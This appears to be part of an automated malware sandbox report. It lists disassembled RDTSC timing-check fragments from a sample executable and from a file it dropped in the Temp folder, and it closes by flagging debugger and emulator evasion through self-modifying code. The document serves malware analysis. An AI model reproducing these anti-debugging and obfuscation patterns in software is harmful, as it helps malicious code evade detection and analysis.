Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0CF7 second address: 48C0D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ebx, esi 0x00000008 popad 0x00000009 cmp dword ptr [75C7459Ch], 05h 0x00000010 jmp 00007FEDA51D0EC6h 0x00000015 je 00007FEE1651EB98h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e movsx ebx, ax 0x00000021 pushfd 0x00000022 jmp 00007FEDA51D0EC6h 0x00000027 adc cx, C918h 0x0000002c jmp 00007FEDA51D0EBBh 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0D52 second address: 48C0D7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FEDA531E8CFh 0x00000008 pop esi 0x00000009 push ebx 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FEDA531E8CEh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0DD7 second address: 48C0E5C instructions: 0x00000000 rdtsc 0x00000002 mov cx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d movzx ecx, dx 0x00000010 jmp 00007FEDA51D0EC3h 0x00000015 popad 0x00000016 mov eax, dword ptr [eax] 0x00000018 jmp 00007FEDA51D0EC9h 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 jmp 00007FEDA51D0EC1h 0x00000026 pop eax 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a jmp 00007FEDA51D0EC3h 0x0000002f call 00007FEDA51D0EC8h 0x00000034 pop ecx 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0E5C second address: 48C0E77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEDA531E8D7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0E77 second address: 48C0E8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FEE16525BA9h 0x0000000d push 75C12B70h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [75C74538h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0E8A second address: 48C0E8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0E8E second address: 48C0E92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0E92 second address: 48C0E98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0E98 second address: 48C0EB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEDA51D0EC4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0EB0 second address: 48C0EC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, 00000000h 0x0000000d pushad 0x0000000e mov dx, si 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E08B0 second address: 48E08E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FEDA51D0EC1h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 mov si, bx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E08E6 second address: 48E0936 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FEDA531E8D5h 0x00000008 sbb ax, AA96h 0x0000000d jmp 00007FEDA531E8D1h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FEDA531E8D8h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0936 second address: 48E093A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E093A second address: 48E0940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0940 second address: 48E0951 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEDA51D0EBDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0951 second address: 48E0994 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA531E8D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FEDA531E8CCh 0x00000013 sbb ecx, 56B42F78h 0x00000019 jmp 00007FEDA531E8CBh 0x0000001e popfd 0x0000001f movzx ecx, di 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0994 second address: 48E0998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0998 second address: 48E099E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E099E second address: 48E0A05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEDA51D0EC4h 0x00000009 adc esi, 48E25908h 0x0000000f jmp 00007FEDA51D0EBBh 0x00000014 popfd 0x00000015 movzx ecx, dx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, esi 0x0000001c jmp 00007FEDA51D0EBBh 0x00000021 mov esi, dword ptr [ebp+0Ch] 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 pushfd 0x00000028 jmp 00007FEDA51D0EC2h 0x0000002d add ecx, 703C0E98h 0x00000033 jmp 00007FEDA51D0EBBh 0x00000038 popfd 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0A05 second address: 48E0A09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0A09 second address: 48E0A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ebx, eax 0x00000008 popad 0x00000009 test esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FEDA51D0EC7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0A2D second address: 48E0A5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 251ED31Ah 0x00000008 call 00007FEDA531E8CBh 0x0000000d pop eax 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 je 00007FEE1664C239h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FEDA531E8D2h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0A5E second address: 48E0AC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEDA51D0EC1h 0x00000008 call 00007FEDA51D0EC0h 0x0000000d pop ecx 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 cmp dword ptr [75C7459Ch], 05h 0x00000018 jmp 00007FEDA51D0EC1h 0x0000001d je 00007FEE165168AFh 0x00000023 jmp 00007FEDA51D0EBEh 0x00000028 xchg eax, esi 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c jmp 00007FEDA51D0EBDh 0x00000031 mov esi, 4EA746B7h 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0AC9 second address: 48E0AF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 jmp 00007FEDA531E8D4h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FEDA531E8CEh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0B48 second address: 48E0B4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0B4C second address: 48E0B50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0B50 second address: 48E0B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0B56 second address: 48E0B65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEDA531E8CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0BA1 second address: 48E0BB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEDA51D0EBCh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BCF41A second address: BCF423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD304E second address: BD3052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD3052 second address: BD3066 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA531E8D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD3066 second address: BD306C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD306C second address: BD30F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA531E8D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FEDA531E8C8h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 mov ecx, 3EC9C8F5h 0x0000002d mov dword ptr [ebp+122D2847h], ecx 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edx 0x00000038 call 00007FEDA531E8C8h 0x0000003d pop edx 0x0000003e mov dword ptr [esp+04h], edx 0x00000042 add dword ptr [esp+04h], 00000015h 0x0000004a inc edx 0x0000004b push edx 0x0000004c ret 0x0000004d pop edx 0x0000004e ret 0x0000004f mov dword ptr [ebp+122D2291h], eax 0x00000055 mov edx, dword ptr [ebp+122D283Fh] 0x0000005b call 00007FEDA531E8C9h 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 jl 00007FEDA531E8C6h 0x0000006a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD30F1 second address: BD30F7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD30F7 second address: BD312F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b ja 00007FEDA531E8D0h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FEDA531E8D5h 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD312F second address: BD3135 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD3135 second address: BD3151 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEDA531E8D8h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD3151 second address: BD3161 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD3161 second address: BD316B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FEDA531E8C6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD316B second address: BD3180 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEDA51D0EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD3180 second address: BD31E4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEDA531E8C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FEDA531E8D2h 0x0000000f popad 0x00000010 pop eax 0x00000011 mov dx, 5D6Eh 0x00000015 push 00000003h 0x00000017 and ecx, 6D0968BDh 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push edx 0x00000022 call 00007FEDA531E8C8h 0x00000027 pop edx 0x00000028 mov dword ptr [esp+04h], edx 0x0000002c add dword ptr [esp+04h], 00000018h 0x00000034 inc edx 0x00000035 push edx 0x00000036 ret 0x00000037 pop edx 0x00000038 ret 0x00000039 mov ecx, dword ptr [ebp+122D2FDDh] 0x0000003f jng 00007FEDA531E8C6h 0x00000045 push 00000003h 0x00000047 push 98C30AC1h 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD31E4 second address: BD31EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD32B8 second address: BD32BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD32BF second address: BD32D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EBCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD32D6 second address: BD32DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD32DA second address: BD32E0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD345E second address: BD34C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 call 00007FEDA531E8D1h 0x0000000d jp 00007FEDA531E8CCh 0x00000013 pop esi 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007FEDA531E8C8h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 0000001Bh 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 movzx edx, di 0x00000033 call 00007FEDA531E8C9h 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b jns 00007FEDA531E8C6h 0x00000041 pushad 0x00000042 popad 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD34C1 second address: BD34C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD34C7 second address: BD34CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD34CB second address: BD355A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EBAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e jg 00007FEDA51D0EB6h 0x00000014 pop eax 0x00000015 pop edi 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a jnc 00007FEDA51D0EC8h 0x00000020 mov eax, dword ptr [eax] 0x00000022 jnc 00007FEDA51D0EC8h 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c push esi 0x0000002d jmp 00007FEDA51D0EC4h 0x00000032 pop esi 0x00000033 pop eax 0x00000034 and edi, dword ptr [ebp+122D30CDh] 0x0000003a push 00000003h 0x0000003c sub cl, 0000000Fh 0x0000003f push 00000000h 0x00000041 push 00000003h 0x00000043 sub si, 5046h 0x00000048 push B1BBA515h 0x0000004d push eax 0x0000004e push edx 0x0000004f jp 00007FEDA51D0EBCh 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD355A second address: BD355E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BD355E second address: BD359D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EBAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 0E445AEBh 0x00000010 mov dword ptr [ebp+122D28A5h], ecx 0x00000016 mov dword ptr [ebp+122D1CF6h], edi 0x0000001c lea ebx, dword ptr [ebp+12448F57h] 0x00000022 mov dword ptr [ebp+122D3793h], ebx 0x00000028 xchg eax, ebx 0x00000029 pushad 0x0000002a jmp 00007FEDA51D0EBCh 0x0000002f push eax 0x00000030 push edx 0x00000031 push edx 0x00000032 pop edx 0x00000033 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BE5341 second address: BE5347 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BF27C8 second address: BF27E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jng 00007FEDA51D0EB6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007FEDA51D0EB6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BF27E1 second address: BF27E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BF27E5 second address: BF27F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007FEDA51D0EB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BC46FC second address: BC4701 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BF06AC second address: BF06BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 jg 00007FEDA51D0EB6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BF06BC second address: BF06DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FEDA531E8D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BF06DD second address: BF06E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BF06E1 second address: BF06F6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c jno 00007FEDA531E8C6h 0x00000012 push eax 0x00000013 pop eax 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BF06F6 second address: BF0719 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EC3h 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007FEDA51D0EB6h 0x0000000f jnl 00007FEDA51D0EB6h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BF0871 second address: BF0880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007FEDA531E8C6h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BF0880 second address: BF08AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEDA51D0EBEh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BF08AC second address: BF08B6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEDA531E8C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BF0A44 second address: BF0A54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FEDA51D0EB6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BF0A54 second address: BF0A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BF0A58 second address: BF0A60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	RDTSC instruction interceptor: First address: BF0C13 second address: BF0C1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

